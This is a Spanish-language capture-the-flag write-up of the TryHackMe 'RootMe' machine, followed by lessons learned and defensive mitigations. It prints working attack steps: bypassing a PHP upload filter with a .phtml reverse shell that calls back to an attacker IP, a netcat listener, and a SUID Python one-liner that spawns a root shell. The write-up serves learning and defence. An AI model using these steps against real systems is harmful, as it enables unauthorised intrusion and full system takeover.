RootMe — TryHackMe (Fácil)

Plataforma: TryHackMe **Dificultad:** Fácil **Categorías:** Reconocimiento web, bypass de filtro de subida de archivos, reverse shell, escalada de privilegios SUID **Herramientas:** Nmap, Gobuster, netcat, navegador web

Índice

1. Resumen
2. Reconocimiento
3. Enumeración web
4. Reverse shell
5. Escalada de privilegios
6. Lecciones aprendidas
7. Mitigaciones
8. Referencias

Resumen

RootMe es una máquina Linux con un servidor web Apache que expone un panel de subida de archivos con un filtro de extensiones deficiente. El filtro bloquea `.php` pero acepta `.phtml`, que Apache ejecuta igualmente como PHP. Subiendo una reverse shell en PHP con extensión `.phtml` se obtiene acceso inicial como `www-data`. La escalada de privilegios se logra mediante Python 2.7 con el bit SUID activado, lo que permite obtener una shell de root directa.

1. Reconocimiento

La máquina bloquea pings (ICMP), por lo que el escaneo estándar de Nmap reporta el host como caído. Se requiere el flag `-Pn` para forzar el escaneo sin verificación de host:

```
nmap -sC -sV -Pn <IP>
```

Puerto	Servicio	Versión
22	SSH	OpenSSH 8.2p1 Ubuntu
80	HTTP	Apache 2.4.41 (Ubuntu)

Nmap detectó `PHPSESSID` en las cookies del servidor web, confirmando que el backend usa PHP — información relevante para elegir el tipo de reverse shell.

2. Enumeración web

```
gobuster dir -u http://<IP>/ -w /usr/share/wordlists/dirb/common.txt
```

Directorios relevantes encontrados:

Ruta	Descripción
`/panel/`	Formulario de subida de archivos
`/uploads/`	Carpeta donde se almacenan los archivos subidos, con directory listing habilitado

El resto de resultados (`/css/`, `/js/`, `/index.php`) son elementos estándar de cualquier aplicación web y no aportan información relevante.

3. Reverse shell

Concepto

Una reverse shell invierte la dirección de la conexión: en vez de que el atacante se conecte a la víctima (como en SSH), es la máquina víctima la que se conecta al atacante. Esto es útil cuando el servidor no acepta conexiones entrantes directas pero sí puede hacer conexiones salientes.

El flujo completo:

1. El atacante abre un listener esperando conexiones.
2. Se sube un archivo PHP malicioso al servidor.
3. Al acceder al archivo por el navegador, el servidor lo ejecuta.
4. El PHP hace que el servidor se conecte al listener del atacante.
5. El atacante recibe una shell interactiva en la máquina víctima.

Preparación

Se usó el script de reverse shell en PHP incluido en Parrot OS:

```
cp /usr/share/webshells/php/php-reverse-shell.php ~/shell.php
```

Se editaron dos variables en el archivo:

```
$ip = '<IP_de_tun0>';   // IP de la interfaz VPN
$port = 4444;            // Puerto donde escuchará el listener
```

La IP de la interfaz VPN (`tun0`) se obtiene con:

```
ip addr show tun0
```

Bypass del filtro de extensiones

El panel rechazaba archivos `.php` con el mensaje "PHP não é permitido!". PHP tiene múltiples extensiones alternativas que Apache puede ejecutar como PHP si está configurado para ello. Se probaron extensiones

hasta encontrar una que pasara el filtro y se ejecutara correctamente:

Extensión	Pasa el filtro	Se ejecuta como PHP
`.php`	❌	—
`.php3`	✅	❌ (muestra código fuente)
`.phtml`	✅	✅

`.phtml` fue la extensión que tanto pasó el filtro como se ejecutó correctamente como PHP por Apache.

Ejecución

Listener en la VM atacante (terminal separada):

```
nc -lvnp 4444
```

Subida del archivo al panel y ejecución accediendo a él en el navegador: http:///uploads/shell.phtml

El navegador queda cargando indefinidamente — señal de que la conexión está activa. El listener recibe la conexión:

connect to [<IP_atacante>] from (UNKNOWN) [<IP_víctima>] XXXXX $ whoami www-data

Flag de usuario

```
find / -name "user.txt" 2>/dev/null
cat /var/www/user.txt
```

4. Escalada de privilegios

Búsqueda de binarios con SUID activado:

```
find / -perm -4000 -type f 2>/dev/null
```

Entre todos los resultados, `/usr/bin/python2.7` es el único binario inusual — ninguna instalación estándar de Ubuntu pone SUID en Python. Fue activado intencionalmente como vector de escalada.

Verificación en GTFOBins: Python con SUID permite ejecutar una shell con los privilegios heredados del bit SUID (root), usando `os.execl()` con el flag `-p` para evitar que bash descarte los privilegios elevados:

```
/usr/bin/python2.7 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
```

Parte	Significado
`/usr/bin/python2.7`	Ruta completa, necesaria para que el SUID tenga efecto
`os.execl("/bin/bash", "bash", "-p")`	Reemplaza el proceso Python por una bash
`-p`	Preserva los privilegios efectivos heredados del SUID — sin este flag, bash los descarta automáticamente

```
whoami
# root
cat /root/root.txt
```

Lecciones aprendidas

- Cuando Nmap reporta un host como caído, `-Pn` fuerza el escaneo ignorando la falta de respuesta al ping. Muchos firewalls bloquean ICMP pero dejan los puertos accesibles.
- Las reverse shells invierten la dirección de conexión: la víctima se conecta al atacante. Útil cuando el servidor no acepta conexiones entrantes.
- Los filtros de extensiones de archivos basados en listas negras son eludibles: bloquear `.php` no impide que `.phtml`, `.php3`, `.php5` u otras extensiones se ejecuten como PHP en Apache.
- Python con SUID es siempre sospechoso — no pertenece a ninguna instalación estándar. `os.execl("/bin/bash", "bash", "-p")` da shell de root directa.
- El flag `-p` en bash es crítico cuando se escala con SUID: sin él, bash descarta los privilegios elevados heredados por seguridad.
- El directory listing habilitado en `/uploads/` permitió ver y acceder directamente al archivo subido. En producción, el directory listing debería estar deshabilitado.

Mitigaciones (perspectiva defensiva)

- Usar listas blancas de extensiones permitidas (solo `.jpg`, `.png`, etc.) en vez de listas negras de extensiones prohibidas.
- Renombrar los archivos subidos con nombres aleatorios y sin extensión ejecutable, independientemente de lo que el usuario suba.
- Almacenar los archivos subidos fuera del directorio web raíz, para que no sean accesibles directamente por URL.
- Deshabilitar el directory listing en Apache (`Options -Indexes` en la configuración).
- No asignar SUID a intérpretes de lenguajes de programación como Python, Perl o Ruby.
- Configurar el firewall para bloquear conexiones salientes no autorizadas desde el servidor web, lo que impediría la reverse shell aunque el archivo malicioso fuera ejecutado.

Referencias

- TryHackMe — RootMe
- GTFOBins — Python SUID
- PentestMonkey — PHP Reverse Shell